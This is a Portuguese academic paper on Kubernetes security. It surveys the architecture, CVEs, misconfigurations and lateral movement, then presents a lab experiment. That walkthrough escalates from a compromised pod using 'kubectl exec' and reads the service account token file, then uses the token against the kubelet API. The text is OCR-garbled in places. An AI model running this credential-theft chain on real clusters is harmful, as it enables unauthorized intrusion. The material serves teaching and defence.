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Resumo. O Kubernetes é um dos orquestradores de contéineres mais utilizados
do mundo, sendo utilizado para implementar a arquitetura de microsservicos.
Este oferece diversos recursos aos utilizadores, e.g., balanceador de carga,
Application Programming Interface (API) de controle, escalonador, armaze-
namento, etc. Com esta gama de servigos a superficie de ataque aumenta e
a configuragdo correta se torna trabalhosa, com isso um atacante pode explo-
rar as vulnerabilidades de um cluster. Este artigo tem o objetivo de analisar
as principais vulnerabilidades do Kubernetes, realizando um experimento de-
monstrando o impacto que um atacante pode causar num cluster explorando as
vulnerabilidades dos componentes.

Abstract. Kubernetes is one of the most popular container orchestrators of the
world, being used to implement a microservices architecture. It offers vari-
ous features, e.g., load balancer, API for control, scheduler, storage, etc. This
amount of services increases the attack surface and good configuration becomes
hard, so an attacker could exploit the cluster vulnerabilities. This article aims
to analyze the main vulnerabilities of Kubernetes, performing an experiment
demonstrating the impact that an attacker can do when exploiting components
vulnerabilities on a cluster.

1. Introducao

A orquestracdo, conjuntamente aos contéineres, oferece uma consideravel gama de servi-
cos a serem ofertados. Os orquestradores de contéineres possuem diversos componentes,
podem tanto realizar o servigo de front-end quanto de back-end [Marathe et al., 2019]. E
possivel oferecer servicos de diversas maneiras, e.g., Infrastructure as a Service (I1aaS),
Load Balance as a Service (LBaaS), Software as a Service (SaaS), etc.

Este trabalho analisa e realiza um experimento no orquestrador Kubernetes, o qual
€ o que apresenta melhores resultados com relacdo a efici€ncia, utilizacao de hardware,
etc. [Mercl and Pavlik, 2018]. Sendo assim, acaba sendo utilizado em diversos estudos
e pesquisas na academia e também no meio empresarial. Este orquestrador possui di-
versos recursos para facilitar o desenvolvimento de aplica¢des, aprimorar a seguranga e
eficiéncia, escalabilidade do sistema, replicabilidade, etc. [Kubernetes, 2021b]. Ao ofe-
recer diversos recursos, o orquestrador acaba oferecendo uma superficie de ataque maior
aos atacantes, e também chances de ocorrer falhas de configuracao.



Este artigo estd organizado em cinco se¢des, na Secdo 2 é explicado o funciona-
mento do Kubernetes, apresentando um diagrama para representar a arquitetura do or-
questrador, com uma visao geral dos seus principais componentes. Na Se¢do 3 busca dar
entendimento ao que € uma vulnerabilidade no sistema e como poder ser classificada com
base em diversos pardmetros. Aplicando os conceitos visto na Se¢do 2 e na Secdo 3, é
possivel entender como s@o exploradas as vulnerabilidades num cluster, na Subsecao 3.1.
Na Subsecdo 3.2 sdo apresentadas as Common Vulnerabilities Exposure (CVEs) num con-
texto do Kubernetes, com uma tabela relacionando ameacas, CVE, severidade, superficie
de ataque e impacto. Entao, sdo vistos alguns erros de configuragao que podem ocasionar
em vulnerabilidades no sistema na Secao 3.3. A Subsecdo 3.4 aborda o movimento late-
ral que pode ser realizado num cluster Kubernetes. Trabalhos relacionados sao abordados
na Secao 4 com base na seguranca do Kubernetes. O experimento realizado € descrito
na Secdo 5, como mitigar as ameagas na Subsecdo 5.1, os resultados sdo discutidos na
Secdo 6. Finalizando com as consideracgoes e trabalhos futuros na Secdo 7.

2. Kubernetes

O Kubernetes € um dos orquestradores mais utilizados atualmente em diversas empresas,
em entrevista com 500 profissionais de tecnologia, 88% destes afirma que utiliza o Ku-
bernetes em sua empresa [Red Hat, 2021]. Possui diversos componentes, 0s quais, cada
um realiza sua fun¢do com o objetivo final de oferecer eficiéncia e boa usabilidade de
recursos para algum sistema.

Os recursos disponiveis oferecem facilidades para administrar as aplicagcdes de
forma que um ser humano nao precise dedicar seu tempo a algo que foi automatizado.
Os nds podem ser tanto maquinas fisicas como virtuais, existem dois tipos de n6 em um
cluster Kubernetes, o gerenciador e o trabalhador. Além disso, o Kubernetes introduz
o conceito de pod o qual é a menor unidade de desenvolvimento em um cluster que
€ possivel criar e gerenciar [Kubernetes, 2021b], este isola os contéineres e cada um
contém um namespace proprio. O nd gerenciador possui acesso ao painel de controle
do cluster, este possui diversos componentes dentro, sendo o servidor de API, etcd para
armazenamento dos dados do cluster, escalonador e um gerenciador para nds, processos,
endpoints e dos dados de contas [Kubernetes, 2021b].

O servidor da API ird expor o cluster para alguma rede, podendo ser interna ou
externa. Esta serd responsdvel por orquestrar todas as operagcdes do cluster [Shamim et al.,
2020], e.g., inser¢ao de um novo pod em um no.
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Figura 1. Diagrama da arquitetura de um cluster Kubernetes.




Na Figura 1 exemplifica-se a arquitetura de um cluster Kubernetes, possuindo uma
Unica miquina fisica e duas maquinas virtuais servindo como né gerenciador e trabalha-
dor. E possivel notar que os nés sio unidos por uma rede interna do cluster, isto serve
para que cada n6 se conheca mutuamente e possam trocar informacdes.

O trabalho dos balanceadores de carga nesta rede interna é direcionar o trafego
de trabalho para os diversos pods e contéineres. O trafego é recebido pelo balanceador
de carga no nd gerenciador e este € repassado para os demais nds, 0s pacotes envia-
dos realizam a mesma rota que os recebidos [Takahashi et al., 2018]. Assim, a rota de
comunicacao sempre € a mesma e sempre passa por alguns componentes especificos.

As politicas do Kubernetes servem para garantir mais seguranca ao cluster im-
pondo regras. Para aprimorar a seguranca da rede do cluster é possivel implementar
politicas de seguranca de rede, como restringir os enderecos IPs com os quais determi-
nado nd, pod ou contéiner pode se comunicar [Shamim et al., 2020]. Uma politica de
seguranca € importante para que limite-se a superficie de ataque do contéiner, prevenindo
que ac¢oes indesejadas sejam realizas por atacantes.

Segundo [Kubernetes, 2021a] o kubelet é o ’agente primério do nd”, este registra
o n6 no servidor de API. O kubelet garante que todo e qualquer contéiner, descritos na
especificagdo do pod, estdo sendo executados e sem problemas.

O servidor de API faz parte da camada de gerenciamento do cluster, este va-
lida e configura os dados a serem repassados aos componentes do cluster, i.e., pods,
servigos, controladores de réplica, etc. A implementacdo do servidor de API do Kuber-
netes € o kube-apiserver, ou seja, este que recebera as requisicoes e realizara os devidos
enderecamentos. Este também pode ser escalado horizontalmente, caso sejam adiciona-
das mais instancias.

Os pods compdem uma das principais partes do cluster, estes, além de ser a menor
parte de desenvolvimento do cluster, estdo entre o n6 e o contéiner, sendo responsaveis
pelas configuracdes de sistemas de arquivos, compartilhamento de dados, permissoes de
acesso, etc. A partir da configuracdo dos pods € possivel permitir o compartilhamento de
diversos recursos com a maquina hospedeira do cont€iner, e.g., rede, processos, sistema
de arquivos, etc. Além disso, a configuragdo dos pods descrevem os contéineres, incluindo
seus privilégios em relagdo ao hospedeiro e o usudrio padrao ao ser executado.

3. Vulnerabilidades

As vulnerabilidades podem surgir em qualquer tipo de equipamento, desde dispositivos
fisicos, virtuais, etc. Normalmente, qualquer equipamento esta sujeito a possuir vulnera-
bilidades. Existem diversos casos de exploracdo de vulnerabilidades em diversos dispo-
sitivos, desde caixas eletronicos até equipamentos hospitalares ligados a alguma rede. As
vulnerabilidades apresentam riscos aos sistemas, como podem ser exploradas por ameacas
ao sistema, as ameacas normalmente utilizam as vulnerabilidades para causar dano ou
perda [Nyanchama, 2005]. Sendo assim, as vulnerabilidades ndo devem ser ignoradas,
sua busca deve ser constante, visto que o risco existe e terd impacto.

Além da base CVE existem outras bases de vulnerabilidades, algumas publicam
vulnerabilidades em softwares publicos e outros somente em privados. A Snyk possui



uma base de vulnerabilidades de cdigo aberto!, que pode ser utilizada por outras empre-
sas para mapeamento de vulnerabilidades em seus produtos ou infraestrutura. No contexto
de Kubernetes e contéineres, a Google oferece uma solucdo de analise de vulnerabilida-
des em contéineres?, a partir das imagens no registro, a ferramenta analisa e armazena os
metadados que sdo disponibilizados por uma API. A Red Hat oferece uma ferramenta’
que realiza uma andlise estdtica em contéineres em busca de vulnerabilidades com base
em diversas bases, i.e., CVE e outras similares da Red hat, Canonical/Ubuntu e Debian.

Contudo, apesar das diversas bases distintas de vulnerabilidades, um problema
que persiste é a padronizacdo das mesmas e evitar que a mesma vulnerabilidade esteja
listada em mais de uma vez, mas com nomes distintos. L.ogo, o fato de unir as vulnera-
bilidades listadas em mais de uma base nao necessariamente implica em haver o dobro
de vulnerabilidades, i.e., primeiro € necessario identificar as vulnerabilidades em comum
para somente adicionar as realmente novas. Neste sentido, a padronizacdo no procedi-
mento de registro vulnerabilidades é importante para evitar duplicidade e facilitar a sua
identificagdo.

Segundo [MITRE (CVE Terminology), 2021] uma vulnerabilidade pode ser de-
finida como uma falha no software, hardware, firmware ou um componente do servigo,
resultando em uma fraqueza que seja possivel explorar causando um impacto negativo.
Sendo assim, a vulnerabilidade pode ser um erro do desenvolvedor da aplicacdo, ou até
uma falha na linguagem utilizada.

No contexto de vulnerabilidades, existem as CVEs, mantidas pela organizacio
MITRE, as quais, por defini¢do, sdo diferentes das vulnerabilidades. A CVE € definida
como um erro de configuragdo num software que habilita o acesso de informacdes e re-
cursos do sistema [Kronser, 2020]. Logo, a CVE serd atribuida a uma ou mais tecno-
logias, tanto empresariais como de codigo aberto. Além disso, as Common Weakness
Enumeration (CWE) classificam as CVEs em determinadas categorias também criadas
pelo MITRE, as quais sdo de ordem maior que a CVE.

3.1. Vulnerabilidades exploradas em cluster Kubernetes

O Kubernetes possui diversos recursos oferecidos a serem utilizados. Porém, com o amplo
uso destes recursos a superficie de ataque do cluster tende a aumentar. Exemplificando,
[David and Barr, 2021] explora o recurso de balanceamento de carga e auto replicacio do
Kubernetes para realizar um ataque de negacao de servigo.

O Kubernetes adota um sistema de IP-per-pod, isto significa que cada pod possuira
um [P unico, os contéineres dentro de cada pod compartilham o mesmo namespace [Ku-
bernetes, 2021b]. Com esta caracteristica, o risco de interceptacao de mensagens se torna
maior, uma vez que se encontram no mesmo namespace, € como abordado na Secao 2, o
caminho dos pacotes na rede é o0 mesmo.

A exposi¢ao da API do Kubernetes para a Internet acaba gerando uma ameaca,
uma vez que o servi¢o pode estar comprometido, e caso ndo possua politicas de seguranca
rigidas, a integridade do cluster pode ser comprometida. Além disso, utilizando uma

'Disponivel em: https://snyk.io/product/vulnerability-database/
Disponivel em: https://cloud.google.com/container-registry/docs/container-analysis
3Disponivel em: https://www.redhat.com/en/topics/containers/what-is-clair



politica de seguranca ineficaz de um pod, na qual esta permita execu¢do com privilégio
de administrador, o invasor pode ter mais facilidade para garantir a persisténcia do ataque.

Os contéineres podem estar executando uma aplicagcdo vulneravel, ou até um mal-
ware [Shamim et al., 2020], logo, uma politica de seguranca consistente evita que afete
todo o cluster. O cluster possui uma rede interna, com isso, o ataque Server Side Request
Forgery (SSRF) acaba sendo efetivo. Este ataque possui como caracteristica principal
acessar maquinas dentro de uma rede interna. A CVE-2020-8555 descreve um ataque
SSRF no gerenciador do gerenciador, possibilitando revelar informagdes sensiveis.

As vulnerabilidades de um cluster podem ser exploradas nos seus diversos com-
ponentes. Um contéiner infectado executando no cluster pode comprometer a integridade
do sistema [Tien et al., 2019]. Nao somente, o administrador do sistema deve se atentar a
cada parte do sistema, desde a rede até a aplicacdo. Na Tabela 1 sdo apresentadas vulne-
rabilidades listadas pelo MITRE e também nao listadas, relacionando a exploracdo delas
em alguns componentes de um cluster Kubernetes. Sendo na Tabela 1: SR: Seguranca
de rede; SH: Seguranca do hospedeiro; SM: Seguranca do mecanismo do contéiner; SI:
Seguranca da imagem do conté€iner; e NA: Nao se aplica.

Tabela 1. Tabela relacionando algumas vulnerabilidades listadas no repositorio
CVE e também outras nao listadas.

Critério Pod Gerenciador | Balanceamento de carga API
Autenticacdo incorreta SR SR NA SR
Permissao indevida SM, SR SR NA SI, SM
Revelacdo de informacdes sensiveis SH, SM SH, SM, SI NA SM, SR
Manejo incorreto de erros NA SM NA NA
Validag@o imprépria de entrada NA SI, SR SH, SR NA
Alocagdo sem limites de recursos SH, SI NA SH NA
Erro de configuracdo SR, SH, SM NA SR, SM NA
Movimento lateral SR, SM SR, SH NA NA

Analisando a Tabela 1, nota-se que o impacto € em relac@o a seguranca da rede,
hospedeiro, mecanismo do contéineres e da imagem dos contéineres [Jensen and Mi-
ers, 2020]. A relacdo entre a vulnerabilidade em determinado componente impacta na
seguranca de forma distinta.

3.2. CVEs

A CVE ¢ definida como um erro de configuracdo em um software que habilita o acesso
de informacdes e recursos do sistema [Kronser, 2020]. A qual, segundo [MITRE (CVE
Terminology), 2021] € diferente de vulnerabilidade, que neste contexto, uma vulnerabili-
dade € definida como uma falha no software, hardware, firmware ou em um componente
do servico, resultando em uma fraqueza que seja possivel explorar e causando um im-
pacto negativo. Além disso, CVEs possuem CWE, estas que classificam as CVEs em
determinadas categorias também criadas pelo MITRE, sendo de ordem maior que a CVE.
O Kubernetes também possui diversas CVEs, as quais podem ser exploradas por um ata-
cante num contexto real. O artigo [Jensen and Miers, 2021] propds uma tabela (Tabela 2)
relacionando cada CVE com ameagca, severidade, superficie de ataque e o impacto num
cluster Kubernetes.



Tabela 2. Relacao entre ameacas, CVEs e o impacto no Kubernetes.

Ameaga CVE SeveridadeSuperficie de ata- | Impacto
que
ng:gggg:gggg 2(8) API Destrui¢do de dados
CVE-2020-8559 6.0 N
Acesso a rede interna do cluster Szg-ggég-égg?os Z(s) AP Aplicasao
CVE:202 1:2 5735 5: 3 API Destrui¢io de dados / Roubo de recursos
CVE-2021-25737 4.9 -
CVE-2021-25740 35 API/ Aplicagdo
CVE-2020-8566 2.1
Listar os segredos do cluster CVE-2020-8565 2.1 AP
CVE-2020-8563 2.1 Destrui¢do de dados
Credenciais das aplicagdes em ar- | CVE-2020-8564 2.1
quivos de configurac@o
Instance Metadata API CVE-2020-8555 35 API/ Aplicagao
CVE-2020-8552 4.0
CVE-2019-1002100 4.0 Negacdo de servigo
. CVE-2019-11253 5.0
Acesso ao servidor da API CVE-2019-11250 35 API Destruicio de dados
CVE-2020-8561 4.0
CVE-2021-25735 5.5
CVE-2019-11250 35 Destruicdo de dados / Roubo de recursos
Acessar credenciais CVE-2019-11252 5.0 API/ Aplicagio
CVE-2019-11243 43
CVE-2019-1002101 5.8 Contéiner
Escrever arquivos no hospedeiro CVE-2021-25741 25 Coniéiner / APT .
CVE-2019-11249 5.8 Contéiner / Aplicagia Destrui¢do de dados / Roubo de recursos
CVE-2019-11246 5.8
Injecdo de comandos no | CVE-2019-1002101 5.8 Contéiner
contéiner
CVE-2018-1002100 3.6 Contéiner / API Destruicio de dados
Modificar arquivos do cluster CVE-2017-1002102 6.3 Contéiner
CVE-2016-1906 10.0 Aplicagao
CVE-2019-1002101 5.8 Contéiner o
Acesso privilegiado a recursos CVE-202125741 55 Cont@iner / API Destruigdo de dados / Roubo de recursos
CVE-2016-1905 4.0 API
Burlar a autenticac@o CVE-2016-7075 6.8 .
CVE-2017-1002100 4.0 Aplicacdo Destruigio de dados
CVE-2017-1002100 4.0 ) ;
Interface sensivel exposta CVE-2015-7528 >0 API.
CVE-2016-1906 100 Aplicagio Destrui¢do de dados / Roubo de recursos
CVE-2016-1905 4.0 API

Nota-se na Tabela 2 que foram abordados somente trés superficies de ataque, API,
aplicag@o e contéiner. Algumas CVEs permitem diversas acdes dentro do cluster, e.g.,
CVE-2020-8559 permite movimento lateral entre os nds do cluster. A complexidade de
exploracdo € variada, também dependendo de algumas outras varidveis, como o nivel
de permissdo dentro do cluster para executar o processo de exploracao de CVEs, e.g., a
CVE-2020-8555 depende da autorizagdo do usudrio para ser explorada.

3.3. Erros de configuracao

Um cluster possui diversos componentes que podem ou nao serem adicionados para di-
versos fins. Além de mais componentes normalmente aumentarem a superficie de ataque,
a correta configuracdo destes se torna mais trabalhosa, visto que, sdo muitos detalhes a
atentar-se. Dos incidentes de seguranga do Kubernetes, 59% foram causados devido a er-
ros de configuracao [Red Hat, 2021]. Nota-se, que os erros de configuragdo sdo comuns, €
também danosos ao cluster, uma vez que € tratado como uma vulnerabilidade no sistema.



Configurar politicas de seguranca é um meio de aprimorar a seguranca do clus-
ter, mas podem ocorrer diversos erros durante a configuracdo que geram ameagas ao
cluster [Budigiri et al., 2021]. Durante a configuracio de uma politica de rede pode
ocorrer erros de especificacdo de nomes de pods, tornando uma comunicacao insegura e
ameacando a seguranca do cluster. Uma pequena falta de atengdo como esta pode acabar
por comprometer toda as informag¢des de uma organizacgao.

Um caso em que atacantes exploraram erros de configuragcdo, foi em ambientes
Argo, que utiliza o Kubernetes. Alguns ambientes Argo permitiam que qualquer um
executasse codigo arbitrario no ambiente de execuc¢do [Robinson and Fishbein, 2021].
Sendo assim, os atacantes utilizaram os recursos computacionais destes ambientes para
mineragdo de criptomoedas.

3.4. Movimento lateral

Depois que um atacante que comprometa uma rede de computadores, este pode gradu-
almente expandir o ataque por mais miquinas, por meio do movimento lateral [Wilkens
et al., 2019]. O movimento lateral (Figura 2) normalmente possui como alvo uma rede
interna de alguma corporagao, na qual é possivel invadir computadores de funciondrios,
banco de dados, servidores, etc.

Explorando uma vulnerabilidade nas politicas de rede
acessa 0s outros nos/contéineres,
realizando um movimento lateral
na rede interna do cluster

S—

Contéiner 1 Contéiner 1 Contéiner 1

Ataca a aplicagéo e consegue

acesso remoto ao contéiner do Contéiner 2 Contéiner 2 Contéiner 2
no 1

v
\ 4

Contéiner n Contéiner n Contéiner n

( Rede interna

Atacante b P dcﬂ b@ trab;alhadoj No trabzalhador
K Cluster Kubernetes /

Figura 2. Exemplo de movimento lateral dentro de um cluster Kubernetes.

A Figura 2 exemplifica um movimento lateral num cluster Kubernetes de forma
superficial. O atacante possui acesso a um contéiner, €.g., por meio de uma vulnerabili-
dade numa aplicacdo web, e entdo expande seu ataque para os outros nos na rede.

A comunicagdo do Kubernetes € realizada na arquitetura IP-per-pod. Os cont€ine-
res dentro de cada pod compartilham a mesma pilha de rede, comunicando-se via loca-
lhost. Sendo assim, um contéiner comprometido e conectado a rede possui acesso aos
outros contéineres no mesmo namespace [Minna et al., 2021]. Um cont€iner comprome-
tido pode nao ter muita informagao, mas ao acessar outro, este pode conter informagdes
sensiveis ou privilégios que possibilitem ao atacante invadir outros pods ou até mesmo
outros nos.

Um ataque que ganhou visibilidade foi o ”Azurescape”, o qual um atacante exe-
cutava um contéiner com uma imagem maliciosa, nesse caso, explorando a CVE-2019-
5736. A partir disto monitorava o trafego de rede no gerenciador dos nds, para capturar



uma chave de autorizacdo, que entdo era possivel conseguir acesso remoto com permissao
de administrador ao servidor da API do Kubernetes [Seals, 2021].

4. Trabalhos relacionados

[Habbal, 2020] realiza um estudo acerca das configuracdoes do Kubernetes, visando me-
lhorar sua disponibilidade para sistemas criticos. A andlise € realizada com diversos es-
tudos acerca de como diversos tipos de falhas sdo manipuladas e mitigadas, e qual a ex-
tensao da solugdo (totalmente resolvido ou parcialmente). A partir disto, [Habbal, 2020]
elenca diversos problemas que podem ocorrer no cluster:

* Faléncia: quando uma mdquina para de responder permanentemente, ou falha ao
enviar mensagens;

* Omissdo: a maquina falha irregularmente ou repetidamente ao enviar mensagens
para um ou mais recebedores;

* Cronologia: a maquina envia uma mensagem antes ou depois do esperado;

* Valor: a mensagem pode ser enviada com seu contetido incorreto; e

* Bizantino: a maquina pode simplesmente ndo fazer nada.

A partir disto, [Habbal, 2020] cita que o cluster Kubernetes deve estar devida-
mente configurado, e o administrador deve ter ciéncia de cada componente do sistema.
Assegurar que o né gerenciador esteja seguro, e além deste, o servidor de API também,
pois, estes podem agir por todo o cluster. Uma parte crucial da seguranca do cluster
Kubernetes, garantir que somente usudrios autenticados tenham acesso. Também, que as
devidas autorizagdes sejam feitas, para que caso um atacante tenha acesso, suas agcoes se-
jam limitadas. Além disso, o autor comenta sobre a necessidade de utilizar softwares de
confianga, pois, um software inseguro pode afetar a seguranca do contéiner, e.g., ofere-
cendo um acesso inicial ao atacante. A seguranca das cargas de trabalho durante tempo de
execugao, isto inclui as permissdes e autorizagdes que uma aplicagdo possui no ambiente
do cluster. Com estes conceitos, € utilizado um caso de estudo no qual o autor coloca
em prética o que foi explicado, e como cada caso afeta a seguranga do cluster ou até da
organizagdo. Entdo, o autor descreve como mitigar estas falhas, realizando uma anélise de
cada uma destas de forma que busque aprimorar a segurancga do cluster, contextualizando
com os conceitos apresentados.

[Muresu, 2021] realiza uma investigacao acerca da seguranca da arquitetura de
microsservicos, € como principal objeto de estudo o Kubernetes. Foram realizados estu-
dos e entrevistas com topicos relacionados a seguranca de microsservigos, além de elencar
tecnologias para este fim. A identificacdo de vulnerabilidades no Kubernetes, com base
na revisao da literatura, foi realizada para embasar suas entrevistas e proposi¢oes de tec-
nologias:

Exploracao do nucleo do contéiner;

Escapar do contéiner;

* Contéiner com vulnerabilidade no sistema operacional hospedeiro;
Imagens de conté€iner infectadas;

* Comprometimento do segredo do contéiner;

Vulnerabilidades na transferéncia de dados;

Vulnerabilidades no armazenamento de dados;



Vulnerabilidades na autenticago;

Vulnerabilidades na autorizacgao;
Roubo de identidades;
Man-in-the-Middle; e

* Negacdo de servigo ou Denial of Service (DoS).

A partir das entrevistas foram identificadas novas vulnerabilidades, e comprovadas
o uso das elencadas pela revisao da literatura. Para os problemas de seguranca elencados,
foram encontradas solucdes para mitigar estas vulnerabilidades. Uma destas tecnologias
€ o Protocolo SPIFFE, o qual € um projeto aberto da comunidade, e o qual mitiga grande
parte das vulnerabilidades elencadas por meio da autentica¢do e autorizacdo de cargas
de trabalho. A andalise é feita e uma discussdo com base nos resultados encontrados,
realizando uma busca nas vulnerabilidades para verificar a existéncia durante o fluxo de
trabalho.

Tabela 3. Tabela comparando os trabalhos relacionados com a proposta.
[Habbal, 2020] | [Muresu, 2021] | Proposta

Vulnerabilidades no Kubernetes Sim Sim Sim
Andlise de vulnerabilidades Nao Sim Sim
Aborda CVEs Nao Nao Sim
Explora erros de configuragdo Nio Nio Sim
para movimento lateral

Aborda impactos das vulnerabilidades | Sim Sim Sim

Na Tabela 3 nota-se que existem alguns pontos que este trabalho aborda, que os
outros ndo. As CVEs sdo abordadas, no experimento é demonstrado a elevacdo de pri-
vilégio utilizando movimento lateral explorando erros de configuracao.

5. Experimento

Alguns conceitos relacionados a seguranga em cluster Kubernetes foram vistos nas se¢oes
anteriores, como erros de configuracao (Subsec¢do 3.3) e movimento lateral (Subsecdo 3.4).
Estes conceitos sdao alguns dos mais utilizados e abordados na literatura de seguranga de
Kubernetes e também em incidentes reais. Além destes, também seria possivel abor-
dar engenharia social para coleta informacdes, ou entdo outras técnicas como man-in-
the-middle num cluster Kubernetes. Com base nisto, foi realizado um experimento para
exemplificar como podem ser explorados estes conceitos € qual o impacto num sistema
utilizando Kubernetes. E ilustrado o que um atacante pode utilizar para que consiga con-
trole total do cluster, evoluindo do ambiente de um contéiner dentro de um Pod num né
trabalhador, até o dominio da maquina do né gerenciador.



O experimento foi realizado utilizando a versdao 1.19 do Kubernetes e com o Mi-
nikube?, o qual simula um cluster com méquinas virtuais. Na Figura 3 é representado o
diagrama de sequéncia de ataque do experimento. O atacante inicia num contéiner do Pod
Nginx e finaliza na maquina do n6 gerenciador do cluster.

[ Pod Nginx } [ Pod PHP ‘ /‘ API Kubelet J [ Pod Teste } [ Processo 'init"}\

. vetho | etho

-Acesso inicial————>

g Execucéo de
Atacante codigo remoto

| Requisita os Pods em i
H execucdo i
L R i

etorna os P?ds
2 em execugao i
: Requisita execucéo, > :
de codigo remoto H a0 de
codigo remoto

Execugdo de codigo
no namespace do hospedeiro "~ !

N6 trabalhador ! K ! NO gerenciador | J

Figura 3. Diagrama de sequéncia de ataque do experimento.

A Figura 4 ilustra a arquitetura do experimento a ser realizado, com somente dois
n6s. Um acesso inicial a um cluster Kubernetes pode ser obtido por meio de uma vulne-
rabilidade numa aplicacdo web. Apds garantir execugao de cddigo remoto a uma maquina
do cluster, o atacante ird estar dentro de um contéiner inserido em um pod.

N6 gerenciador

Pod Teste

Kubelet
Pods de
controle
Pod Nginx
Kubelet

Pod PHP

N6 trabalhador
Figura 4. Diagrama da arquitetura do experimento.
Para verificar se, de fato, se encontra num ambiente Kubernetes é possivel exe-

cutar o comando env do bash GNU/Linux, para verificar as varidvel de ambiente, como
exemplificado na Figura 5.

“Disponivel em: https://minikube.sigs.k8s.io/docs/



root@nginx-789585ff97-k7gbp:/# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
PHP_PORT_9080_TCP_ADDR=10.104.209.28
NGINX_PORT_8@_TCP_PROTO=tcp
PHP_PORT_9@@@_TCP_PROTO=tcp
HOSTNAME=nginx-789585FF97-k7gbp
PHP_PORT_9008_TCP=tcp://10.104.209.28:9000
PHP_SERVICE_HOST=10.104.209.28
NGINX_PORT_88_TCP=tcp://10.102.204.210:380
PWD=/
PKG_RELEASE=1~bullseye
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
NGINX_PORT_80_TCP_ADDR=10.102.204.210
PHP_PORT_980@_TCP_PORT=9000
NGINX_SERVICE_PORT=80
NGINX_PORT_88_TCP_PORT=80
NJS_VERSION=08.7.0
NGINX_SERVICE_HOST=10.102.204.210
TERM=xterm

SHLVL=1

KUBERNETES_PORT_443_TCP_PROTO=tcp
PHP_SERVICE_PORT=90600
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
NGINX_PORT=tcp://10.102.204.210:80
PHP_PORT=tcp://10.104.209.28:9000
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NGINX_VERSION=1.21.4

=/usr/bin/env
root@nginx-789585Ff97-k7gbp: /#

Figura 5. Comando que mostra todas as variaveis de ambiente do contéiner do
cluster Kubernetes.

Na Figura 5 € possivel ver que existem varidveis salvando o endereco IP do servigo
Kubernetes. Sendo assim, o atacante pode considerar a grande possibilidade de estar em
um ambiente Kubernetes. O atacante estd num contéiner privilegiado, com isso, pode
tentar verificar se possui permissdo para executar a ferramenta de controle de linha de
comando do Kubernetes, o kubectl. Ap6s verificar que, este pode utilizar o kubectl para
coletar informagdes do cluster, verifica os outros pods existentes.

root@nginx-789585FF97-k7gbp:/# kubectl get pods
NAME READY STATUS RESTARTS AGE
nginx-789585Ff97-k7gbp 1/1 Running e 16h

php-f6bSbf76b-mx7qb 1/1 Running e 15h
root@nginx-789585ff97-k7gbp:/#

Figura 6. Verificando a existéncia de outro pod no mesmo ndé.

Na Figura 6 o atacante nota que existe outro pod no mesmo né em que este se
encontra. Sendo assim, com as permissdes que este possui no cluster, pode realizar di-
versas agoes no pod, e.g., descrevé-lo, coletar mais informacoes, etc. Assim, o atacante
pode optar por realizar um movimento lateral se conectando ao outro pod por meio do
comando que o kubectl oferece, como apresentado na Figura 7.

root@nginx-789585Fff97-k7gbp:/# kubectl exec -it php-f6b9bf76b-mx7gqb -- bash

root@testes-errc-mo2:/var/www/html#

Figura 7. Atacante consegue executar comandos shell em outro Pod.



A partir da execu¢do de comandos no outro pod, e novamente utilizando o usudrio
de administrador do contéiner. O contéiner ndo possui o0 bindrio kubectl instalado, entdo
o atacante deve instald-lo para verificar as informacdes do cluster no pod. Verificando as
informacodes da rede do contéiner com o comando Linux, apresenta um IP com o mesmo
valor do endereco do n6. Sendo assim, a rede é compartilhada entre o pod e 0 n6, com
isso € possivel burlar algumas restricdes que um pod pode ter em relacdo aos acessos
externos.

root@testes-errc-m@2:/tmp# curl -LO "https://dl.k8s.1o/release/$(curl -L -s https://dl.k8s.1o/release/stable.txt)/bin/linux/amd64/kubectl™
% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

160 154 1ee 154 e e 781 @ --i--i-- -- 777

160 44.4M 100 44.4M -] @ 2779% e 6 - 2995k
root@testes-errc- :/tmp# install -o root -g r ect. local/bin/kubectl
root@testes-errc-m@2:/tmp# kubectl get nodes -o wide

ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP 0S-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
master 12d v1.19.4 192.168.59.2 <none> Ubuntu 20.84.3 LTS 4.19.104-microsoft-standard docker://20.10.11
<none> 12d v1.19.4 192.168.59.3 <none> Ubuntu 20.€4.1 LTS 4.19.104-microsoft-standard docker://19.3.13
tmp# ifconfig
»BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.8.1 netmask 255.255.0.@0 broadcast 172.17.255.255
ether ©2:42:4b:dd:68:d9 euelen @ (Ethernet)
RX packets 1563 bytes 53 (164.2 KiB)
RX errors @ dropped @ erruns @ frame @
TX packets 1685 bytes 472810 (461.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

eth@: flags=4163<UP,
inet 192.16

.1 MiB)
RX errors @ dropped @ overruns @ frame ©
TX packets 22473 bytes 1597839 (1.5 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 8. Atacante instala o kubectl no contéiner e verifica que o contéiner pos-
sui o mesmo IP que o no.

Em posse de uma mdaquina a nivel de n6, e com as configuracdes de seguranca
do cluster, € possivel realizar requisicoes a API do n6 gerenciador. A API do kubelet
permite realizar diversas agdes no cluster, como listar os Pods que estido sendo executados
em determinado nd, e em todos os namespaces. Para realizar as requisi¢oes, € necessirio
utilizar Hyper Text Transfer Protocol Secure (HTTPS), na porta da API do kubelet do n6 (a
padrao é 10250), declarando o cabegalho ”Authorization: Bearer foken ”, no qual o foken
¢ obtido do arquivo localizado em: /var/run/secrets/kubernetes.io/serviceaccount/token”,
o qual € acessivel devido ao acesso de administrador ao sistema atacado.

-H "Authorization: Bearer $TOKEN" https://192.168.59.2:10250/runningpods

{"kind":"PodList","apiversion” ,"metadata”: {},"items": [{"metadata™:{"name": "kube-proxy-7bj6b","namespace": "kube-system","uid":"

1}, "spec”:{"containers™:[{"nam ube-proxy","image":"sha256:635b36f4d89f0e74f1000ad953affb757e9d71b799c5a7e3f32ea145¢553d9od
ler-manager-testes-errc"”,"namespace”: "kube-system”,"uid": "bc15e23bee7ff534cc3a690233d59511", "creationTimestamp™:null}, "spec”: {" ]
